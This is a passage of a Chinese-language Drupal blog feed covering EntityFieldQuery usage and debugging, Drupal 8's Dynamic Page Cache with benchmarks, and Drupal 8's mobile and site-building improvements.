&lt;li&gt;字段名称：一般来说，一个表如果叫 &lt;code&gt;field_data_body&lt;/code&gt;，实际的字段名就是 body。这个配置保存在 &lt;code&gt;field_config_instance&lt;/code&gt; 表中。&lt;/li&gt;
&lt;li&gt;列：这是在数据库中对应的列的列名称去掉前缀的部分。body字段的数据库列为 &lt;code&gt;body_value&lt;/code&gt;, &lt;code&gt;body_summary&lt;/code&gt;, &lt;code&gt;body_format&lt;/code&gt;以及 language。真正使用时会使用 value, summary, format 以及 language。
类似的，image 字段会使用 fid, alt 以及 title 作为列名；entity 引用字段会使用&lt;code&gt;target_id&lt;/code&gt;以及&lt;code&gt;target_type&lt;/code&gt;作为列名。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;propertyorderby-column-direction-asc-http-api-drupal-org-api-drupal-includes-entity-inc-function-entityfieldquery-3a-3apropertyorderby-7&#34;&gt;&lt;a href=&#34;http://api.drupal.org/api/drupal/includes--entity.inc/function/EntityFieldQuery%3A%3ApropertyOrderBy/7&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;-&amp;gt;propertyOrderBy($column, $direction = &#39;ASC&#39;)&lt;/code&gt;&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;不是对所有属性都生效的。&lt;/p&gt;

&lt;h2 id=&#34;http-api-drupal-org-api-drupal-includes-entity-inc-function-entityfieldquery-3a-3arange-7-http-api-drupal-org-api-drupal-includes-entity-inc-function-entityfieldquery-3a-3arange-7&#34;&gt;&lt;a href=&#34;http://api.drupal.org/api/drupal/includes!entity.inc/function/EntityFieldQuery%3A%3Arange/7&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;http://api.drupal.org/api/drupal/includes!entity.inc/function/EntityFieldQuery%3A%3Arange/7&lt;/code&gt;&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;限制查询结果集的范围。&lt;/p&gt;

&lt;h2 id=&#34;count-http-api-drupal-org-api-drupal-includes-entity-inc-function-entityfieldquery-3a-3acount-7&#34;&gt;&lt;a href=&#34;http://api.drupal.org/api/drupal/includes!entity.inc/function/EntityFieldQuery%3A%3Acount/7&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;-&amp;gt;count()&lt;/code&gt;&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;设置查询只返回数量，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;$count = $query-&amp;gt;count()-&amp;gt;execute();
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;addmetadata-key-object-http-api-drupal-org-api-drupal-includes-entity-inc-function-entityfieldquery-3a-3aaddmetadata-7&#34;&gt;&lt;a href=&#34;http://api.drupal.org/api/drupal/includes!entity.inc/function/EntityFieldQuery%3A%3AaddMetaData/7&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;-&amp;gt;addMetaData($key, $object)&lt;/code&gt;&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;在查询中加入其他元数据。因为 EntityFieldQuery 的 fieldCondition 会使用当前用户的权限进行查询，这通常不是我们想要的结果，所以这个方法的一个重要的用途就是用其他用户的身份进行查询，可以在这里使用1号用户进行查询：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;$query-&amp;gt;addMetaData(&#39;account&#39;, user_load(1));
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;随机排序&#34;&gt;随机排序&lt;/h2&gt;

&lt;p&gt;最简单的随机排序方法就是添加一个 tag，然后进行一次 alter。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
function mymodule_superblock() {
  $query = new EntityFieldQuery();
  $result = $query
    -&amp;gt;entityCondition(&#39;entity_type&#39;, &#39;node&#39;)
    -&amp;gt;fieldCondition(&#39;field_categories&#39;, &#39;tid&#39;, array(&#39;12&#39;,&#39;13&#39;), &#39;IN&#39;)
    -&amp;gt;propertyCondition(&#39;status&#39;, 1)
    -&amp;gt;addTag(&#39;random&#39;)
    -&amp;gt;range(0,5)
    -&amp;gt;execute();
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来做 alter&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
function mymodule_query_random_alter($query){
  $query-&amp;gt;orderRandom();
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;参考：&lt;a href=&#34;http://api.drupal.org/api/drupal/modules%21system%21system.api.php/function/hook_query_TAG_alter/7&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;hook_query_TAG_alter&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;排错&#34;&gt;排错&lt;/h2&gt;

&lt;p&gt;根据在 &lt;a href=&#34;http://drupal.stackexchange.com/questions/36542/debug-entityfieldquery&#34; target=&#34;_blank&#34;&gt;stackexchange&lt;/a&gt; 的内容，可以实现 &lt;a href=&#34;https://api.drupal.org/api/drupal/modules!system!system.api.php/function/hook_query_alter/7&#34; target=&#34;_blank&#34;&gt;hook_query_alter()&lt;/a&gt; 结合 &lt;a href=&#34;https://www.drupal.org/project/devel&#34; target=&#34;_blank&#34;&gt;devel&lt;/a&gt;的dpm ，对实体字段查询过程进行排错。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
function CUSTOMMODULE_query_alter($query) {
  if ($query-&amp;gt;hasTag(&#39;efq_debug&#39;) &amp;amp;&amp;amp; module_exists(&#39;devel&#39;)) {
    dpm((string) $query);
    dpm($query-&amp;gt;arguments());
  }
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;当你往自己的模块中加入了这个函数，就可以利用addTag&lt;code&gt;(&#39;efq_debug&#39;)&lt;/code&gt;来扩展这个查询：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
$q = new EntityFieldQuery;
$q-&amp;gt;entityCondition(&#39;entity_type&#39;, &#39;node&#39;);
  -&amp;gt;addTag(&#39;efq_debug&#39;);
  -&amp;gt;execute();
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;相关资源&#34;&gt;相关资源&lt;/h2&gt;

&lt;h3 id=&#34;代码实例&#34;&gt;代码实例&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;modules\simpletest\tests\entity_query.test中的EntityFieldQuery测试。&lt;/li&gt;
&lt;li&gt;在核心和其他模块中利用grep/search搜索&lt;code&gt;new EntityFieldQuery()&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;文章和教程&#34;&gt;文章和教程&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://treehouseagency.com/blog/neil-hastings/2011/09/06/building-energygov-without-views&#34; target=&#34;_blank&#34;&gt;没有 views 的 Energy.gov&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/node/916776&#34; target=&#34;_blank&#34;&gt;Drupal.org 的相关论题&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://treehouseagency.com/blog/tim-cosgrove/2012/02/16/entityfieldquery-let-drupal-do-heavy-lifting-pt-1&#34; target=&#34;_blank&#34;&gt;EntityFieldQuery: Let Drupal Do The Heavy Lifting (Pt 1)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://treehouseagency.com/blog/tim-cosgrove/2012/02/28/entityfieldquery-let-drupal-do-heavy-lifting-pt-2&#34; target=&#34;_blank&#34;&gt;EntityFieldQuery: Let Drupal Do The Heavy Lifting (Pt 2)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.phase2technology.com/blog/or-queries-with-entityfieldquery&#34; target=&#34;_blank&#34;&gt;EntityFieldQuery中的OR查询&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://timonweb.com/loading-only-one-field-from-an-entity-or-node&#34; target=&#34;_blank&#34;&gt;从一个实体或节点中只获取一个字段&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;其他资源&#34;&gt;其他资源&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://api.drupal.org/api/drupal/includes--entity.inc/class/EntityFieldQuery/7&#34; target=&#34;_blank&#34;&gt;api.drupal.org 上的 EntityFieldQuery&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Drupal 8 的动态页面缓存</title>
      <link>/post/page-cache-in-drupal-8/</link>
      <pubDate>Wed, 14 Oct 2015 22:09:07 +0800</pubDate>
      <guid>/post/page-cache-in-drupal-8/</guid>
      <description>

&lt;p&gt;Drupal 8 现在有了动态页面缓存。Page Cache 模块只对匿名用户生效，而 Dynamic Page Cache 模块则更进一步的为所有用户提供服务。&lt;/p&gt;

&lt;p&gt;4 月 8 日起，Drupal 8 &lt;a href=&#34;https://wimleers.com/blog/drupal-8-page-caching-enabled-by-default&#34; target=&#34;_blank&#34;&gt;缺省开启&lt;/a&gt;了页面缓存。刚好五个月以后也就是 9 月 8 日，Dynamic Page Cache 模块也加入了 Drupal 8，同样的也是缺省开启。&lt;/p&gt;

&lt;h2 id=&#34;动态页面缓存是什么&#34;&gt;动态页面缓存是什么？&lt;/h2&gt;

&lt;h3 id=&#34;page-cache-模块缓存的是完全渲染之后的-html-响应内容&#34;&gt;Page Cache 模块缓存的是完全渲染之后的 HTML 响应内容&lt;/h3&gt;

&lt;p&gt;他假设每个响应只有一种，这个假设只对匿名用户有效。相对于 Drupal 7，8 的创新是加入了 &lt;a href=&#34;https://www.drupal.org/developing/api/8/cache/tags&#34; target=&#34;_blank&#34;&gt;Cache Tags(缓存标记)&lt;/a&gt;，这就使得在使用页面缓存的时候，依然能够及时更新页面，不再呈现过期内容。&lt;/p&gt;

&lt;h3 id=&#34;dynamic-page-cache-模块缓存大部分渲染之后的-html-相应内容&#34;&gt;Dynamic Page Cache 模块缓存大部分渲染之后的 HTML 相应内容&lt;/h3&gt;

&lt;p&gt;现在不再认为只有一种响应了：这里要感谢 &lt;a href=&#34;https://www.drupal.org/developing/api/8/cache/contexts&#34; target=&#34;_blank&#34;&gt;cache contexts&lt;/a&gt;，他能够获取到页面各个部分的变体。在渲染过程中，&lt;a href=&#34;https://www.drupal.org/developing/api/8/render/arrays/cacheability/auto-placeholdering&#34; target=&#34;_blank&#34;&gt;自动占位&lt;/a&gt;会识别页面中的一部分不可缓存的内容，替换为占位符。这些占位符只在最后一刻进行渲染。动态页面缓存模块会在这些占位符被替换之前进行缓存。&lt;/p&gt;

&lt;p&gt;所以，概念上来说：&lt;strong&gt;Page Cache &amp;ndash;&amp;gt; Dynamic Page Cache&lt;/strong&gt;&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&#34;left&#34;&gt;&lt;/th&gt;
&lt;th align=&#34;left&#34;&gt;Key&lt;/th&gt;
&lt;th align=&#34;left&#34;&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&#34;left&#34;&gt;Page Cache&lt;/td&gt;
&lt;td align=&#34;left&#34;&gt;&lt;code&gt;URL&lt;/code&gt;&lt;/td&gt;
&lt;td align=&#34;left&#34;&gt;&lt;code&gt;最终响应&lt;/code&gt; &lt;code&gt;缓存标记&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td align=&#34;left&#34;&gt;Dynamic Page Cache&lt;/td&gt;
&lt;td align=&#34;left&#34;&gt;&lt;code&gt;URL&lt;/code&gt; &lt;code&gt;cache contexts&lt;/code&gt;&lt;/td&gt;
&lt;td align=&#34;left&#34;&gt;&lt;code&gt;部分响应&lt;/code&gt; &lt;code&gt;占位符&lt;/code&gt; &lt;code&gt;缓存标记&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;上表对比展示了二者的优劣：Page Cache 包含了最终响应，所以相对较快；而 Dynamic Page Cache 只包含了部分响应，但是因为这部分内容是没有经过个性化的，所以适用于各种用户。&lt;/p&gt;

&lt;p&gt;换句话说，动态页面缓存做的事情比较多，但是适用于更多场景。&lt;/p&gt;

&lt;h2 id=&#34;benchmark&#34;&gt;Benchmark&lt;/h2&gt;

&lt;p&gt;在开启页面缓存之后，Drupal 8 对匿名用户能够在常数时间内返回响应。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;有了动态页面缓存之后，Drupal 8 的响应时间就是在之前的时间上再加上渲染占位符的时间。&lt;/strong&gt;这意味着，页面的绝大部分能够在固定时间里完成（跟内容多少无关）。最后的占位符渲染环节是最需要进行优化的，当然，最好没有这部分（可以延伸阅读一下 BigPipe 相关内容）。&lt;/p&gt;

&lt;p&gt;在我的机器上（&lt;code&gt;ab -c1 -n 1000&lt;/code&gt;, PHP 5.5.11，Intel Core i7 2.8 GHz 笔记本电脑，15 个带有一条留言的 Node，其中 10 个列在首页上）：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;没有动态页面缓存

&lt;ul&gt;
&lt;li&gt;首页：61.3 毫秒/请求（每秒 16 个请求）&lt;/li&gt;
&lt;li&gt;node/1：92.3 毫秒/请求（每秒 10.8 个请求）&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;动态缓存开启

&lt;ul&gt;
&lt;li&gt;首页：38.3 毫秒/请求（每秒 26 个请求）&lt;/li&gt;
&lt;li&gt;node/1：73.8 毫秒/请求（每秒 13.5 个请求）&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;分析&#34;&gt;分析&lt;/h2&gt;

&lt;p&gt;首页只有一个占位符（message），这使得首页是一个最低相应时间的指标：我的机器上大概 38 毫秒。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;大约 38 毫秒用于 bootstrap，路由，路由权限检查，从动态页面缓存中获取缓存内容。&lt;/li&gt;
&lt;li&gt;跟 node/1 比较：渲染占位符用掉了超过 35.5 毫秒的时间。这说明此处的渲染成本非常高——留言 Form。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;可以看到，动态页面缓存在开发期间也很有用，他暴露了无法缓存或者难于渲染的页面部分。&lt;/p&gt;

&lt;h3 id=&#34;在实际服务器上-十倍不止&#34;&gt;在实际服务器上，十倍不止&lt;/h3&gt;

&lt;p&gt;上面的测试只是一个并发，还可以参考&lt;a href=&#34;http://wimleers.com/blog/drupal-8-page-caching-enabled-by-default&#34; target=&#34;_blank&#34;&gt;Rasmus Lerdorf 的相关测试&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;多赢&#34;&gt;多赢&lt;/h2&gt;

&lt;p&gt;各种规模的站点都会受益：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;企业级站点得到了更高的可塑性，以及针对认证用户的反向代理/CDN方面能力的提升。&lt;/li&gt;
&lt;li&gt;小站点能够为认证用户提供更多更快的并发访问能力。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;所以我的工作由 Acquia 赞助，但是大家都能从中获益。&lt;/p&gt;

&lt;p&gt;有人发表疑问， Drupal 8 会不会太复杂了，是不是已经不在意站点搭建者，而只考虑企业应用了之类的、我认为这就是个很好的反例 —— 缺省激活的页面缓存优于大多数的 Drupal 7 站点。&lt;/p&gt;

&lt;p&gt;我们的确在缓存标记上增加了复杂性，不过这只对开发者产生了影响，而且提供了&lt;a href=&#34;https://www.drupal.org/developing/api/8/render/arrays/cacheability&#34; target=&#34;_blank&#34;&gt;完善的文档&lt;/a&gt;。最重要的是，站点建设者不需要关心这些了，Drupal 8 开始不再需要手工清除缓存了！&lt;/p&gt;

&lt;p&gt;Drupal 很像乐高积木。直到 Drupal 8，如果你试用了太多的模块，站点会变慢，缓存的设置复杂到令人望而却步。现在这些组成部分必须自己声明缓存的元数据，这样 Drupal 就可以把大部分“加速”工作自动完成了。&lt;/p&gt;

&lt;h3 id=&#34;小站点-包括共享主机&#34;&gt;小站点（包括共享主机）&lt;/h3&gt;

&lt;p&gt;小站点能够处理更多的认证用户产生的并发访问，更快的生成页面。&lt;/p&gt;

&lt;p&gt;无需任何配置。&lt;/p&gt;

&lt;p&gt;无需任何搜索。&lt;/p&gt;

&lt;h3 id=&#34;企业站点-以及企业级托管&#34;&gt;企业站点（以及企业级托管）&lt;/h3&gt;

&lt;p&gt;企业站点有了更多调节的能力：如果倾向于利用足够的存储空间，而不是渲染占位符的话（空间换时间），那么只要覆盖缺省的&lt;a href=&#34;https://www.drupal.org/developing/api/8/render/arrays/cacheability/auto-placeholdering&#34; target=&#34;_blank&#34;&gt;自动占位符条件&lt;/a&gt;即可。&lt;/p&gt;

&lt;p&gt;这也是第一次我们有机会&lt;a href=&#34;http://wimleers.com/talk/caching-at-the-edge-cdns-for-everyone&#34; target=&#34;_blank&#34;&gt;利用CDN为认证用户提供响应内容&lt;/a&gt;。&lt;/p&gt;

&lt;h3 id=&#34;开发者&#34;&gt;开发者&lt;/h3&gt;

&lt;p&gt;在&lt;a href=&#34;https://www.drupal.org/developing/api/8/cache&#34; target=&#34;_blank&#34;&gt;缓存元数据&lt;/a&gt;（缓存标记，上下文和最大周期）之外，可以针对主机环境，性能和缓存方面做深入细致的调整。而之前，必须分析和调试一大坨代码，来判断为什么有些缓存没有在合适的时候过期。&lt;/p&gt;

&lt;p&gt;原因是，现在的整个过程被标准化了，我们可以使用&lt;a href=&#34;http://wimleers.com/blog/renderviz-prototype&#34; target=&#34;_blank&#34;&gt;更好的工具&lt;/a&gt;——甚至可以自动的检测类似问题：不合适的缓存上下文，过低的缓存生命周期，过于频繁的缓存失效。&lt;/p&gt;

&lt;p&gt;最后，这一切使得 &lt;a href=&#34;http://wimleers.com/talk/making-drupal-fly-fastest-drupal-ever-here&#34; target=&#34;_blank&#34;&gt;Drupal 8 成为最快的 Drupal&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;drupal-8-的动态页面缓存-vs-drupal-7-的-authcache&#34;&gt;Drupal 8 的动态页面缓存 vs Drupal 7 的 Authcache&lt;/h2&gt;

&lt;p&gt;动态页面缓存在 Drupal 7 中最相近内容应该就是 &lt;a href=&#34;https://www.drupal.org/project/authcache&#34; target=&#34;_blank&#34;&gt;Authcache 模块&lt;/a&gt;了。在 Drupal 7 中使用 Authcache 也能获得非常好的性能，但是这需要大量的工作：所有的代码（第三方的和自行实现的）必须进行分析，以保证所有的输出过程中所有需要进行缓存验证的部分都对应到账号。所有的因素必须都传递给 Authcache，来进行缓存键的计算。“关键属性”的概念和 Drupal 8 的缓存上下文类似。然而，这个过程很容易漏掉一些因素。这是因为站点的所有者要负责识别所有的验证，这里包含所有的模块和页面。缺省情况下，Authcache 假设用站点的 base URL 和用户的角色来进行区分。所以除非你的站点非常简单（可能连多语言都不支持），否则就要进行很多的研究来用好 Authcache。&lt;/p&gt;

&lt;p&gt;（例如目前还在运行 Drupal 7 的 Drupal.org，几个月前推出了针对评论的渲染缓存功能。他的工作方式很像 Authcache：必须指定引起缓存校验的因素。有个因素（时区）被忽略了，结果导致了奇怪的输出结果。强如 Durpal.org 的团队，也发生了这种错误，我们如何能够寄希望于其他团队呢？）&lt;/p&gt;

&lt;p&gt;Drupal 8 中的动态页面缓存建立在缓存元数据概念之上。不需要自定义钩子，也无需用户参与。缓存行为现在是模块的责任，有理由相信，模块作者更知道模块的功能，因此也无需再次进行代码分析。动态缓存还支持缓存标记，所以跟 Drupal 7 的 Authcache 不同，动态页面缓存能够及时进行更新。&lt;/p&gt;

&lt;p&gt;在 Drupal 8.0.0 中，动态页面缓存在 bootstrap、路由、路由访问控制之后执行。而因为 Authcache 做了一些简单假设，他能够在完全执行完 bootstrap 之前执行，这样无疑是更快的。我们也正在一个 issue （&lt;a href=&#34;https://www.drupal.org/node/2541284&#34; target=&#34;_blank&#34;&gt;#2541284&lt;/a&gt;） 中提出这个问题，这一问题如果得以解决，能够得到巨大的性能提升，我们会在 Drupal 8 未来的某个版本中发布出来。&lt;/p&gt;

&lt;p&gt;最后因为 Drupal 8 中缺省就启用了动态页面缓存，所以他直接为所有的开发者和所有的站点产生巨大的影响。建议所有的 Drupal 开发者在代码中定制合适的缓存上下文。这样 Drupal 8 的模块就会被为数众多的网站所考验，遗失的缓存元数据也就可以迅速修正。所有用户一起来完成这一任务，而不是像 Authcache 用户那样单打独斗。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>第二部 增强的移动体验</title>
      <link>/post/drupal-portable/</link>
      <pubDate>Wed, 14 Oct 2015 22:08:31 +0800</pubDate>
      <guid>/post/drupal-portable/</guid>
      <description>&lt;p&gt;在&lt;a href=&#34;https://www.acquia.com/blog/ultimate-guide-drupal-8-episode-1-authoring-experience-improvements&#34; target=&#34;_blank&#34;&gt;编辑体验增强&lt;/a&gt;之外，对Drupal的最终用户来说，还有一个焦点问题是如何让Drupal 8对移动设备更加友好，这也是顺应当今移动设备访问量暴增的潮流之举。&lt;/p&gt;

&lt;p&gt;##移动优先&lt;/p&gt;

&lt;p&gt;Drupal 8用户会发现，Drupal 8从安装器到模块页面的设计核心思想都是以移动为中心的。每一个新特性，例如就地编辑等功能，都被设计为可以在移动设备的小屏幕上顺畅运行。读者可以尝试用手中的设备尝试访问Drupal 8，如果发现任何Bug，&lt;a href=&#34;https://drupal.org/node/2152519&#34; target=&#34;_blank&#34;&gt;欢迎指出&lt;/a&gt;（呃&amp;hellip;.最好是有效的BUG）。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/09d309bed38a0de54da15078a93bd210.png&#34; alt=&#34;iphone&#34; /&gt;&lt;/p&gt;

&lt;p&gt;(上图是Module页面的一个搜索功能，在Drupal 7中可以使用&lt;a href=&#34;https://drupal.org/project/module_filter&#34; target=&#34;_blank&#34;&gt;Module Filter模块&lt;/a&gt;实现类似体验)。&lt;/p&gt;

&lt;p&gt;##随处可见的响应式&lt;/p&gt;

&lt;p&gt;未来五年中，将会有多到无法预测的设备接入互联网，为了追随这种趋势，Drupal 8将响应式设计纳入所有功能之中。&lt;/p&gt;

&lt;p&gt;对入门者来说，所有的核心主题都是响应式的，菜单，Block等元素在移动设备的屏幕上会自动重新排布（如果Viewport太紧凑，可能会把纵向变成横向）。响应式的图片处理也是内置的，所以同一图片在桌面设备会以大尺寸展现，而在平板或手机上进行缩小显示。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/3dec8100934d3cecce5070d542d02b8f.png&#34; alt=&#34;mobile and pc&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Drupal 8也对Table提供了响应式的支持，表格的列可以定义为高中低不同的优先级，在宽屏幕上会显示所有列，而屏幕变窄以后，次要的列就开始隐藏了。这一特性也内置在Views模块中，所以用户可以自行定义自己的响应式管理界面。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/1ede8c810a4365d6dfbb43df43a03e7e.png&#34; alt=&#34;admin&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在Drupal 7中可以使用&lt;a href=&#34;https://drupal.org/project/responsive_bartik&#34; target=&#34;_blank&#34;&gt;Responsive Bartik&lt;/a&gt;以及&lt;a href=&#34;https://drupal.org/project/responsive_tables&#34; target=&#34;_blank&#34;&gt;Responsive Tables&lt;/a&gt;模块来完成类似功能。也有为数众多的Drupal 7响应式主题，包括&lt;a href=&#34;http://drupal.org/project/omega&#34; target=&#34;_blank&#34;&gt;Omega&lt;/a&gt;和&lt;a href=&#34;http://drupal.org/project/zen&#34; target=&#34;_blank&#34;&gt;Zen&lt;/a&gt;，利用这些主题可以为自己的站点添加响应式特性。&lt;/p&gt;

&lt;p&gt;##移动设备友好的工具栏&lt;/p&gt;

&lt;p&gt;Drupal 8的工具栏亮点多多，在宽屏幕上，他会自动展开并置为横向；而在小屏幕上则会折叠称谓图标并变为纵向排列。和其他Drupal 8的前端新特性一样，这一功能对访问性的促进非常大，在各种屏幕尺寸下都可以实现流畅的站内跳转。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/93697be8247dbc4442ec5b87f99953c2.png&#34; alt=&#34;Toolbar&#34; /&gt;&lt;/p&gt;

&lt;p&gt;如果想在Drupal 7中看到类似特性，可以去看看&lt;a href=&#34;https://drupal.org/project/navbar&#34; target=&#34;_blank&#34;&gt; Mobile Friendly Navigation Toolbar&lt;/a&gt;模块。&lt;/p&gt;

&lt;p&gt;##响应式阅览&lt;/p&gt;

&lt;p&gt;这一部分尚未确定是否能够同Drupal 8核心同时完成，Drupal 7中的&lt;a href=&#34;https://drupal.org/project/responsive_preview&#34; target=&#34;_blank&#34;&gt;Responsive Preview&lt;/a&gt;模块提供了一种易用的，集成到CMS中的预览能力，能够迅速确定你的站点在多种不同的，可定义的设备上的大致的横向或是纵向的显示效果，而不用在硬件上投入几万美金。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/2991b46bdfed6bfdb61fa1bc39c18b4d.png&#34; alt=&#34;baby-ver&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/ce8d91cec18fef97fe2db5b618944d24.png&#34; alt=&#34;baby-hor&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##前端的性能&lt;/p&gt;

&lt;p&gt;对于移动体验来说，性能是一个很大决定性的影响因素。所以，在Drupal 8中投入了很多精力来减轻Drupal 8前端的重量。例如，多数情况下，jQuery会被置换为原生JavaScript，Drupal 8对匿名访问者不会载入JavaScript文件。一些JS密集的功能，例如Overlay模块被移除，以保证对移动设备的友好性（在管理工具栏中会出现一个&amp;rdquo;Back to site&amp;rdquo;连接，在Drupal 7中实现等价功能可以使用&lt;a href=&#34;https://drupal.org/project/escape_admin&#34; target=&#34;_blank&#34;&gt;Escape Admin模块&lt;/a&gt;）。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/1f42261185d17605ada61920eab6e088.png&#34; alt=&#34;Back to site&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##接下来&lt;/p&gt;

&lt;p&gt;下周将会讲述&lt;a href=&#34;https://www.acquia.com/blog/ultimate-guide-drupal-8-episode-3-site-builder-improvements&#34; target=&#34;_blank&#34;&gt;Drupal 8对网站建设的改进&lt;/a&gt;。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>第三部 改进的网站建设</title>
      <link>/post/drupal-site-building-upgraded/</link>
      <pubDate>Wed, 14 Oct 2015 22:08:18 +0800</pubDate>
      <guid>/post/drupal-site-building-upgraded/</guid>
      <description>

&lt;h2 id=&#34;网站建设&#34;&gt;网站建设&lt;/h2&gt;

&lt;p&gt;正如前两篇博客主要从最终用户以及内容编辑人员的角度对Drupal 8进行了介绍，Drupal 8同样对站点建设工具提供了大量改进。&lt;/p&gt;

&lt;h2 id=&#34;views进入核心&#34;&gt;Views进入核心&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;https://drupal.org/project/views&#34; target=&#34;_blank&#34;&gt;Views&lt;/a&gt;是&lt;a href=&#34;https://drupal.org/project/usage&#34; target=&#34;_blank&#34;&gt;Druapal发行版中用量第一的模块&lt;/a&gt;，现在跟Drupal 8合体了！大多数Views的主要管理功能例如内容、人员以及文件，还有一些Block，RSS Feeds和首页也已经转换为Views。这一改进使得对这些元素的管理变得轻而易举，比如为人员列表新增一个全名的搜索，只需点几下鼠标即可实现。&lt;/p&gt;

&lt;p&gt;所有群众喜闻乐见的Views功能都在集成之列，甚至还包含一点特别的，例如针对移动设备的管理界面，一些可用性和易用性的改进，响应式列表，以及将任何列表导出为JSON文本，从而为外部服务或移动应用提供数据的能力。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/74b94b6c82fb1d2feee014367e26248f.png&#34; alt=&#34;views&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##更多的Blocks&lt;/p&gt;

&lt;p&gt;在Drupal 8中，Blocks多了一些新特性。首先，跟Views的情况类似，很多以前需要硬编码的站点组件已经被转换为Block，例如面包屑，站点名称和口号。这使得对页面的组织更加轻而易举。&lt;/p&gt;

&lt;p&gt;其次，取消了过去只能把Block置入一个区块的限制。现在你可以把Block在多个位置进行放置和复用。例如可以把导航Block同时放倒页头和页脚，而不再需要&lt;a href=&#34;https://drupal.org/project/multiblock&#34; target=&#34;_blank&#34;&gt;Multiblock&lt;/a&gt;模块。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/785f17f621a722f8e6c8fe0e88c82636.png&#34; alt=&#34;Block&#34; /&gt;&lt;/p&gt;

&lt;p&gt;最后，和内容类型一样，用户还可以创建自定义的Block类型，可以为每个Block在不同的样式，不同的Field下进行调整。例如，创建一个叫&amp;rdquo;广告&amp;rdquo;的Block，其中包含一个叫做&amp;rdquo;Ad Code&amp;rdquo;的字段，这一字段可以包含从远端广告服务获取到的JavaScript代码。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/4d4c277a1121b528b8f6c6870e1c1139.png&#34; alt=&#34;Block&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##Entity和Field的扩展
Drupal 7最为强大的两个建站功能——Entity和Field，在Drupal 8中再次升级。大幅提升了在Drupal中为结构化内容建立数据模型的易用性。&lt;/p&gt;

&lt;p&gt;##更多的Field类型&lt;/p&gt;

